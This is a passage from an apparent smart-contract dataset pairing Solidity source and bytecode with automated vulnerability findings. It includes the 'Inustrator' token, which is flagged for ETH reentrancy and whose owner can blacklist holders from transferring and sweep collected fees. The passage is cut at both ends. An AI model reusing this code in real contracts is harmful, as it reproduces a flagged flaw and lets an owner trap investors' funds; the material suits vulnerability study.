a573d6000803e3d6000fd5b60006007548211156110a45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610455565b60006110ae6112b4565b90506110ba83826112d7565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061110957611109611a88565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561115d57600080fd5b505afa158015611171573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119591906116dc565b816001815181106111a8576111a8611a88565b6001600160a01b039283166020918202929092010152600e546111ce9130911684610b95565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611207908590600090869030904290600401611976565b600060405180830381600087803b15801561122157600080fd5b505af1158015611235573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061125783856119e7565b9050838110156110ba5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610455565b610fc4838383611319565b60008060006112c1611410565b90925090506112d082826112d7565b9250505090565b60006110ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611450565b60008060008060008061132b8761147e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061135d90876114db565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461138c908661124a565b6001600160a01b0389166000908152600260205260409020556113ae8161151d565b6113b88483611567565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113fd91815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e8000061142b82826112d7565b82101561144757505060075492678ac7230489e8000092509050565b90939092509050565b600081836114715760405162461bcd60e51b815260040161045591906118ec565b506000610ffa84866119ff565b600080600080600080600080600061149b8a600954600a5461158b565b92509250925060006114ab6112b4565b905060008060006114be8e8787876115e0565b919e509c509a509598509396509194505050505091939550919395565b60006110ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc9565b60006115276112b4565b905060006115358383611630565b30600090815260026020526040902054909150611552908261124a565b30600090815260026020526040902055505050565b60075461157490836114db565b600755600854611584908261124a565b6008555050565b60008080806115a5606461159f8989611630565b906112d7565b905060006115b8606461159f8a89611630565b905060006115d0826115ca8b866114db565b906114db565b9992985090965090945050505050565b60008080806115ef8886611630565b905060006115fd8887611630565b9050600061160b8888611630565b9050600061161d826115ca86866114db565b939b939a50919850919650505050505050565b60008261163f57506000610425565b600061164b8385611a21565b90508261165885836119ff565b146110ba5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610455565b80356116ba81611ab4565b919050565b6000602082840312156116d157600080fd5b81356110ba81611ab4565b6000602082840312156116ee57600080fd5b81516110ba81611ab4565b6000806040838503121561170c57600080fd5b823561171781611ab4565b9150602083013561172781611ab4565b809150509250929050565b60008060006060848603121561174757600080fd5b833561175281611ab4565b9250602084013561176281611ab4565b929592945050506040919091013590565b6000806040838503121561178657600080fd5b823561179181611ab4565b946020939093013593505050565b600060208083850312156117b257600080fd5b823567ffffffffffffffff808211156117ca57600080fd5b818501915085601f8301126117de57600080fd5b8135818111156117f0576117f0611a9e565b8060051b604051601f19603f8301168101818110858211171561181557611815611a9e565b604052828152858101935084860182860187018a101561183457600080fd5b600095505b8386101561185e5761184a816116af565b855260019590950194938601938601611839565b5098975050505050505050565b60006020828403121561187d57600080fd5b81356110ba81611ac9565b60006020828403121561189a57600080fd5b81516110ba81611ac9565b6000602082840312156118b757600080fd5b5035919050565b6000806000606084860312156118d357600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611919578581018301518582016040015282016118fd565b8181111561192b576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119c65784516001600160a01b0316835293830193918301916001016119a1565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119fa576119fa611a72565b500190565b600082611a1c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a3b57611a3b611a72565b500290565b600082821015611a5257611a52611a72565b500390565b6000600019821415611a6b57611a6b611a72565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047357600080fd5b801515811461047357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220438e597fd88baf6ea090672a9d6d75c8fd86cecef5d4b7f911c914456f7b807964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,277
0xcd11d7a600fcfa68135364d9a5f176407d4a0266
// SPDX-License-Identifier: UNLICENSED /* Inustrator https://t.me/inustrator Have you imagined your illustration can be the next viral NFT artwork but you have no idea how to start? Inustrator is here for you! Inustrator is designed as an enabler, assisting talented artists to express their potentiel artwork. We sincerely invite talented artists to submit and share your work and we will help you to publish it as an NFT with our Inustrator Fund. The purpose of Inustrator Fund is to initiate fund for artists to promote their artwork. The source of our fund will be extracted from every transaction you made on our token. In order to find out which artist is the best of the best. Our goal is to create a “simple voting portal” Inustrator DAO will poll vote among Inustrator owners. The voting result will instruct Inustrator to invest in which artist and turn it as the next viral NFT, ALL of the tax fee from Inustrator will be distributed to invest in the artist. Inustrator DAO aims to be a world-class Crypto Project Investment Fund along with the increase of Inustrator DAO users. */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Inustrator is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Inustrator"; string private constant _symbol = "Inustrator"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x84bFe537AffEEB2a3b0e80a9EAf0C24502A1bDa8); _buyTax = 13; _sellTax = 13; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 200000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 200000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 13) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 13) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610316578063c3c8cd8014610336578063c9567bf91461034b578063dbe8272c14610360578063dc1052e214610380578063dd62ed3e146103a057600080fd5b8063715018a6146102a45780638da5cb5b146102b957806395d89b411461013a5780639e78fb4f146102e1578063a9059cbb146102f657600080fd5b8063273123b7116100f2578063273123b714610213578063313ce5671461023357806346df33b71461024f5780636fc3eaec1461026f57806370a082311461028457600080fd5b806306fdde031461013a578063095ea7b31461017c57806318160ddd146101ac5780631bbae6e0146101d157806323b872dd146101f357600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082018252600a81526924b73ab9ba3930ba37b960b11b6020820152905161017391906118bf565b60405180910390f35b34801561018857600080fd5b5061019c610197366004611746565b6103e6565b6040519015158152602001610173565b3480156101b857600080fd5b50678ac7230489e800005b604051908152602001610173565b3480156101dd57600080fd5b506101f16101ec366004611878565b6103fd565b005b3480156101ff57600080fd5b5061019c61020e366004611705565b610449565b34801561021f57600080fd5b506101f161022e366004611692565b6104b2565b34801561023f57600080fd5b5060405160098152602001610173565b34801561025b57600080fd5b506101f161026a36600461183e565b6104fd565b34801561027b57600080fd5b506101f1610545565b34801561029057600080fd5b506101c361029f366004611692565b610579565b3480156102b057600080fd5b506101f161059b565b3480156102c557600080fd5b506000546040516001600160a01b039091168152602001610173565b3480156102ed57600080fd5b506101f161060f565b34801561030257600080fd5b5061019c610311366004611746565b61084e565b34801561032257600080fd5b506101f1610331366004611772565b61085b565b34801561034257600080fd5b506101f16108f1565b34801561035757600080fd5b506101f1610931565b34801561036c57600080fd5b506101f161037b366004611878565b610af8565b34801561038c57600080fd5b506101f161039b366004611878565b610b30565b3480156103ac57600080fd5b506101c36103bb3660046116cc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103f3338484610b68565b5060015b92915050565b6000546001600160a01b031633146104305760405162461bcd60e51b815260040161042790611914565b60405180910390fd5b6702c68af0bb1400008111156104465760108190555b50565b6000610456848484610c8c565b6104a884336104a385604051806060016040528060288152602001611aab602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f9c565b610b68565b5060019392505050565b6000546001600160a01b031633146104dc5760405162461bcd60e51b815260040161042790611914565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105275760405162461bcd60e51b815260040161042790611914565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461056f5760405162461bcd60e51b815260040161042790611914565b4761044681610fd6565b6001600160a01b0381166000908152600260205260408120546103f790611010565b6000546001600160a01b031633146105c55760405162461bcd60e51b815260040161042790611914565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106395760405162461bcd60e51b815260040161042790611914565b600f54600160a01b900460ff16156106935760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610427565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106f357600080fd5b505afa158015610707573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072b91906116af565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077357600080fd5b505afa158015610787573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ab91906116af565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107f357600080fd5b505af1158015610807573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082b91906116af565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b60006103f3338484610c8c565b6000546001600160a01b031633146108855760405162461bcd60e51b815260040161042790611914565b60005b81518110156108ed576001600660008484815181106108a9576108a9611a5b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108e581611a2a565b915050610888565b5050565b6000546001600160a01b0316331461091b5760405162461bcd60e51b815260040161042790611914565b600061092630610579565b905061044681611094565b6000546001600160a01b0316331461095b5760405162461bcd60e51b815260040161042790611914565b600e5461097b9030906001600160a01b0316678ac7230489e80000610b68565b600e546001600160a01b031663f305d719473061099781610579565b6000806109ac6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a0f57600080fd5b505af1158015610a23573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a489190611891565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ac057600080fd5b505af1158015610ad4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610446919061185b565b6000546001600160a01b03163314610b225760405162461bcd60e51b815260040161042790611914565b600d81101561044657600b55565b6000546001600160a01b03163314610b5a5760405162461bcd60e51b815260040161042790611914565b600d81101561044657600c55565b6001600160a01b038316610bca5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610427565b6001600160a01b038216610c2b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610427565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610427565b6001600160a01b038216610d525760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610427565b60008111610db45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610427565b6001600160a01b03831660009081526006602052604090205460ff1615610dda57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e1c57506001600160a01b03821660009081526005602052604090205460ff16155b15610f8c576000600955600c54600a55600f546001600160a01b038481169116148015610e575750600e546001600160a01b03838116911614155b8015610e7c57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e915750600f54600160b81b900460ff165b15610ebe576000610ea183610579565b601054909150610eb1838361121d565b1115610ebc57600080fd5b505b600f546001600160a01b038381169116148015610ee95750600e546001600160a01b03848116911614155b8015610f0e57506001600160a01b03831660009081526005602052604090205460ff16155b15610f1f576000600955600b54600a555b6000610f2a30610579565b600f54909150600160a81b900460ff16158015610f555750600f546001600160a01b03858116911614155b8015610f6a5750600f54600160b01b900460ff165b15610f8a57610f7881611094565b478015610f8857610f8847610fd6565b505b505b610f9783838361127c565b505050565b60008184841115610fc05760405162461bcd60e51b815260040161042791906118bf565b506000610fcd8486611a13565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108ed573d6000803e3d6000fd5b60006007548211156110775760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610427565b6000611081611287565b905061108d83826112aa565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110dc576110dc611a5b565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561113057600080fd5b505afa158015611144573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116891906116af565b8160018151811061117b5761117b611a5b565b6001600160a01b039283166020918202929092010152600e546111a19130911684610b68565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111da908590600090869030904290600401611949565b600060405180830381600087803b1580156111f457600080fd5b505af1158015611208573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061122a83856119ba565b90508381101561108d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610427565b610f978383836112ec565b60008060006112946113e3565b90925090506112a382826112aa565b9250505090565b600061108d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611423565b6000806000806000806112fe87611451565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061133090876114ae565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461135f908661121d565b6001600160a01b038916600090815260026020526040902055611381816114f0565b61138b848361153a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113d091815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e800006113fe82826112aa565b82101561141a57505060075492678ac7230489e8000092509050565b90939092509050565b600081836114445760405162461bcd60e51b815260040161042791906118bf565b506000610fcd84866119d2565b600080600080600080600080600061146e8a600954600a5461155e565b925092509250600061147e611287565b905060008060006114918e8787876115b3565b919e509c509a509598509396509194505050505091939550919395565b600061108d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9c565b60006114fa611287565b905060006115088383611603565b30600090815260026020526040902054909150611525908261121d565b30600090815260026020526040902055505050565b60075461154790836114ae565b600755600854611557908261121d565b6008555050565b600080808061157860646115728989611603565b906112aa565b9050600061158b60646115728a89611603565b905060006115a38261159d8b866114ae565b906114ae565b9992985090965090945050505050565b60008080806115c28886611603565b905060006115d08887611603565b905060006115de8888611603565b905060006115f08261159d86866114ae565b939b939a50919850919650505050505050565b600082611612575060006103f7565b600061161e83856119f4565b90508261162b85836119d2565b1461108d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610427565b803561168d81611a87565b919050565b6000602082840312156116a457600080fd5b813561108d81611a87565b6000602082840312156116c157600080fd5b815161108d81611a87565b600080604083850312156116df57600080fd5b82356116ea81611a87565b915060208301356116fa81611a87565b809150509250929050565b60008060006060848603121561171a57600080fd5b833561172581611a87565b9250602084013561173581611a87565b929592945050506040919091013590565b6000806040838503121561175957600080fd5b823561176481611a87565b946020939093013593505050565b6000602080838503121561178557600080fd5b823567ffffffffffffffff8082111561179d57600080fd5b818501915085601f8301126117b157600080fd5b8135818111156117c3576117c3611a71565b8060051b604051601f19603f830116810181811085821117156117e8576117e8611a71565b604052828152858101935084860182860187018a101561180757600080fd5b600095505b838610156118315761181d81611682565b85526001959095019493860193860161180c565b5098975050505050505050565b60006020828403121561185057600080fd5b813561108d81611a9c565b60006020828403121561186d57600080fd5b815161108d81611a9c565b60006020828403121561188a57600080fd5b5035919050565b6000806000606084860312156118a657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118ec578581018301518582016040015282016118d0565b818111156118fe576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119995784516001600160a01b031683529383019391830191600101611974565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119cd576119cd611a45565b500190565b6000826119ef57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a0e57611a0e611a45565b500290565b600082821015611a2557611a25611a45565b500390565b6000600019821415611a3e57611a3e611a45565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461044657600080fd5b801515811461044657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201c9e29cdc62beae6fb0d72a7196586baad1136342bde11007a751f8dc32f608764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,278
0x9283df9554419641f2cab66af4876f9de8526e4c
pragma solidity ^0.4.13; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); 